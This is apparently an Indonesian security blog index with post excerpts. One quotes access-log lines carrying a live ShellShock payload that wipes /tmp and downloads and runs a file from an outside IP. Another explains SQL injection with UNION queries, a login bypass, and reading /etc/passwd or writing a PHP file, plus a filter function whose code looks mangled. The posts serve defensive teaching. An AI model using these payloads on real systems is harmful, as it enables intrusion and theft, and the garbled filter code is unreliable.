Fakta Tentang Proses Produksi yang Bernama : Penetration Testing

Penetration Testing itu Apa?

Salah satu risiko dalam dunia data dan teknologi informasi adalah : keamanan data dan informasi. Ancaman keamanan itu antara lain : kerusakan hardware, keamanan hardware, gangguan keamanan digital seperti virus, malware, hingga ancaman cracking. Proses membangun aplikasi web dapat diibaratkan seperti membangun sebuah rumah, yang di dalamnya berisi peralatan kehidupan kita. Apapun yang berada di dalam rumah tersebut, wajib untuk dilindungi keberadaannya. Salah satu cara melindunginya adalah dengan memastikan ketangguhan semua bagian rumah. Demikian juga dengan layanan transaksi data.
Continue reading “Fakta Tentang Proses Produksi yang Bernama : Penetration Testing”

[Security] Serangan pada bug ShellShock melalui PHP-CGI

Sebelum lebih jelas bercerita tentang serangan shellshock ini, ada baiknya juga membaca cerita ini:

http://en.wikipedia.org/wiki/Shellshock_(software_bug)
http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
https://shellshocker.net/

Shellshock ini bug yang dirilis kisah vulnerability-nya pada sekitar akhir 2014. Shellshock ini menyerang beberapa service network yang memiliki kemampuan execute command dari sisi client, dengan otentifikasi lemah. Shellshock ini merupakan bug keluarga dari bash bug. Shellshock paling deras menyanyerang webserver Apache yang menjalankan PHP-CGI. Sementara PHP-CGI banyak digunakan oleh layanan hosting untuk melayani multiversi PHP permintaan para client. Perhatikan pada attachment berikut:

5.135.167.145 - - [20/Apr/2015:23:55:29 +0700] "GET /cgi-bin/test.cgi HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:30 +0700] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 472 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:31 +0700] "GET /cgi-bin/test.sh HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:32 +0700] "GET /cgi-bin/tools/tools.pl HTTP/1.1" 404 473 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:32 +0700] "GET /cgi-mod/index.cgi HTTP/1.1" 404 473 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:33 +0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 479 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:34 +0700] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 477 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:34 +0700] "GET /cgi-sys/php5 HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:35 +0700] "GET /phppath/cgi_wrapper HTTP/1.1" 404 474 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:36 +0700] "GET /phppath/php HTTP/1.1" 404 465 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:11 +0700] "GET / HTTP/1.1" 200 524 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

Continue reading “[Security] Serangan pada bug ShellShock melalui PHP-CGI”

Disable Handler PHP pada Uploadable Directory Apache

Penggunaan CMS memang memudahkan seseorang membuat web. CMS membantu sekali para wirausahawan muda dalam membuat usaha di bidang web. CMS digunakan oleh para pengembang mulai dari profesional hingga kelas pemula sekalipun. Hanya saja, kadang jika tidak dilengkapi dengan kehati-hatian penggunaan CMS dan plugins, CMS dapat menjadi bumerang bagi pemilik web.

Para cracker pemula, bersenjatakan dork yang dipublish pada situs-situs vulnerability publish, mencari bug-bug CMS dan plugins, selanjutnya melakukan cracking web, dan melakukan ritual vandalisme di sana. Plugins, memang memudahkan seseorang dalam melakukan custom webnya. Namun plugins juga menjadi celah besar kalau tidak malah masalah yang sesungguhnya. Salah satu celah tersebut dapat dimanfaatkan oleh para cracker.
Continue reading “Disable Handler PHP pada Uploadable Directory Apache”

Meminjam IP Publik Lain Network untuk Web Server Lokal dengan SSH


Masih seputar SSH seperti pada posting sebelumnya diĀ https://blogit.bimosaurus.com/2014/06/13/back-connect-dengan-menggunakan-reverse-ssh/

 

backconnect

 
Continue reading “Meminjam IP Publik Lain Network untuk Web Server Lokal dengan SSH”

Back Connect dengan Menggunakan Reverse SSH

 

 

Gambar diatas adalah sebuah skema. Kadang kita ada dalam posisi si orang pengakses Server tersebut. Si orang tersebut ingin mengakses komputer server yang terletak di dalam kantornya, dan terdapat di balik Firewall, alias tidak memiliki IP Publik yang dapat dijangkau dari sisi internet. Kondisi server itu sendiri, bisa melakukan akses ke internet dengan baik. Namun karena dia ber IP Lokal dan berlokasi di intranet, dia tidak dapat diakses.
Continue reading “Back Connect dengan Menggunakan Reverse SSH”

Mengurangi Resiko SQL Injection dengan Script Filter Parameter HTTP

Salah satu bug yang paling ditakuti di dunia pemrograman web adalah : SQL Injection Vulnerability. Dalam dunia hacking sering disebut dengan SQLiv. Bug ini termasuk paling banyak dijumpai publikasinya di situs-situs pempublish bug dan hacking. SQL Injection ini termasuk bug dengan jenis resiko tinggi. Injeksi SQL biasanya dilakukan dengan cara memasukkan perintah atau sintaks tambahan ke dalam FORM yang ada dalam web tersebut, baik FORM di address bar, maupun FORM yang ada pada content.

 

Dasar Teknis

1. Serangan GET Methode

Dalam membuat web, biasanya kita akan gunakan pemanggilan ID atau kode unik untuk mengundang suatu konten. Misal:

http://satuduatiga/index.php?mod=news&id=12

Kira-kira, proses SQL yang dibentuk adalah :

$id = $_GET['id'];

$query = "SELECT * FROM `news` WHERE `id`='$id'";

Apa yang terjadi apabila seseorang menambahkan perintah di belakangnya?

http://satuduatiga/index.php?mod=news&id=12 and 1=1

dan selanjutnya? Jika penambahan 1=1 dan 1=0 menghasilkan efek yang berbeda, dengan

1=1 posting/berita tetap muncul (tidak error)

1=0 berita tidak muncul (error)

Error message memang bisa saja ditutup dengan mengganti value PHP.INI dengan display_errors=’false’. Namun proses error tetap saja terjadi. Maka sebenarnya sintaks perintah di belakang parameter ID itu diproses oleh script. Berbahaya? Ya, sangat berbahaya. Biasanya penyusup akan menggunakan methoda UNION untuk melakukan serangan selanjutnya. Anggap dalam tabel berita bagian yang diambil adalah terdapat 4 kolom/field

SELECT `judul`,`isi`,`penulis`,`tanggal` FROM `news` WHERE `id`='$id'

 

Proses UNION adalah proses dua SELECT yang harus memiliki jumlah field terpanggil yang sama. Jika sampai proses UNION tidak sama jumlah fieldnya, maka akan terjadi error. Error adalah informasi berharga untuk seorang intruder. Misal si intruder mencoba melakukan pemanggilan sebagai berikut :

 

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1

maka halaman tersebut tidak akan muncul content. Maka dia bisa melanjutkan

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2

hingga

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,4

 

Pada saat itu, halaman selain menunjukkan posting content tersebut, juga akan menampilkan tulisan 1,2,3,4 sesuai dengan fieldnya. Saat itulah si intruder memanfaatkan seperti berikut:

Pencarian versi MySQL

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,@@version

 

Pencarian nama database yang aktif

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,database()

 

Pencarian nama user database aktif

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,user()

 

Pencarian nama database lain

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT DISTINCT TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA not in('INFORMATION_SCHEMA','mysql','test') LIMIT 1)

 

Pencarian nama tabel untuk database ‘web’ misal

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT TABLE_NAME from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA ='web' AND TABLE_NAME not in('coba','test','anu') LIMIT 1)

Pencarian nama kolom / field untuk tabel ‘user’ dalam database ‘web’ misal

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ='web' AND TABLE_NAME ='user' AND COLUMN_NAME not in('test') LIMIT 1)

 

Pencarian data dalam kolom user atau password

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT username FROM user LIMIT 1)

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT password FROM user WHERE username='admin')

 

Setelah mendapatkan user dan password dari tabel user, maka dapat dieksekusi Login ke dalam form. Proses lain dapat juga dengan mencoba membaca file dalam sistem atau menulis file dalam sistem

 

SELECT load_file('/etc/passwd');

SELECT 'test' INTO OUTFILE('/var/www/hack.php');

atau bahkan

UPDATE news set judul='hacked';

 

Cerita mengenai hacking dengan sql injection akan dibahas dalam posting lain.

 

2. Serangan POST Method

Serangan ini biasanya dilakukan pada FORM login.

Serangan ini biasanya memanfaatkan logika pemrograman sebagai berikut :

$username = $_GET['username'];

$password = $_GET['password']

$query = "SELECT * FROM `user` WHERE `username`='$username' AND `password`='$password'";

 

Logika ini benar, memanfaatkan operator logika AND. Sehingga session baru terbuka jika PASANGAN username dan password itu terdapat dalam tabel user.

Apa yang terjadi apabila kita memasukkan pada kolom login tersebut adalah : admin’ OR”=’ ? Maka proses query yang terjadi menjadi seperti ini

SELECT * FROM `user` WHERE `username`=’admin’ OR ”=’‘ AND `password`=”;

Bagian tercetak kuning merupakan masukan yang berasal dari form. Sedangkan proses logika AND menjadi tercemar oleh OR, sehingga password salahpun akan dianggap benar. Padahal jika logika tersebut benar, sessi akan terbuka untuk si penyusup, tanpa perlu tahu passwordnya.

 

3. Blind SQL Injection

Blind SQL Injection adalah SQL Injection tanpa petunjuk error atau penampilan yang jelas. Tetap Blind SQLiv ini BERBAHAYA.

 

Gejala-gejala

Melihat gejala sebuah situs mengidap penyakit ini adalah dengan beberapa cara:

  1. Menambahkan tanda petik. Jika pada halaman muncul error maka ada kemungkinan potensi bahaya itu ada.
  2. Menambahkan logika 1=1 dan 1=0. Jika dengan 1=1 berita masih muncul tapi 1=0 tidak muncul maka potensi itu ada
  3. Mencoba form login dengan memasukkan admin’ or ”=’pada kolom user dan password. Apakah anda dapat masuk ke halaman admin
  4. Memanfaatkan pentester software, seperti SQLMap, Hexjector ataupun Havij dan lain sebagainya.

 

Penanggulangan

Beberapa cara pengurang resiko bug ini adalah:

  1. Melakukan filtering parameter yang perlu dimasukkan sebagai proses SQL
  2. Melakukan penutupan error dan pembatasan jumlah karakter parameter/post
  3. Menggunakan user database dan password yang bukan root, dan beda aplikasi web seharusnya berbeda pula user dan grant nya
  4. Menata permission struktur direktori secara benar sehingga web tetap bisa melakukan penulisan, juga mysql tidak dapat menulis ke dalam file.
  5. Penggunaaan mod_rewrite apache untuk me-rewrite URL sehingga selain SEO Friendly juga aman.
  6. Melakukan sanitasi file upload dengan benar. Jika hanya dibutuhkan file gambar, maka hanya bertipe gambar saja yang boleh masuk.
  7. Penggunaan program semacam antivirus seperti clamav dan lain sebagainya.
  8. Penutupan database information_schema.
  9. Untuk penggunaan CMS, rajin update juga menjadi faktor penting. Namun kadang pluggins merupakan faktor yang sering membawa bug.
  10. Memanfaatkan log error dan access secara benar. Pengecekan apakah terjadi injection dapat dimulai dari sini.

dan lain sebagainya.

 

Contoh Script Filter Parameter sederhana:

function filter_param($text,$html=true){
        $e_s=array('\\','\'','"');
		$d_s=array('','','');
		$text = preg_replace( "']*>.*?'si", '', $text );
        $text = preg_replace( '/]*>([^<]+)<\/a>/is', '\2 (\1)', $text );
        $text = preg_replace( '//', '', $text );
        $text = preg_replace( '/{.+?}/', '', $text );
        $text = preg_replace( '/ /', ' ', $text );
        $text = preg_replace( '/&/', '', $text );
		$text = str_replace( $e_s, $d_s, $text );
        $text = strip_tags( $text );
        $text = preg_replace("/\r\n\r\n\r\n+/", " ", $text);
        $text = $html ? htmlspecialchars( $text ) : $text;
        return $text;
}

$id = filter_param($_GET[‘id’]);
$username = filter_param($_POST[‘username’]);
$password = filter_param($_POST[‘password’]);
 

SQL Injection dapat terjadi pada semua jenis database. Oracle, SQLServer, Access dan lain-lain. Pada windows, SQL Server juga memiliki fungsi executable yang cukup berbahaya.

Tulisan ini sekedar sharing, tidak bermaksud menggurui, mengingat juga bahwa masih banyak bug yang terdapat pada produk yang dibuat oleh penulis. Semoga bermanfaat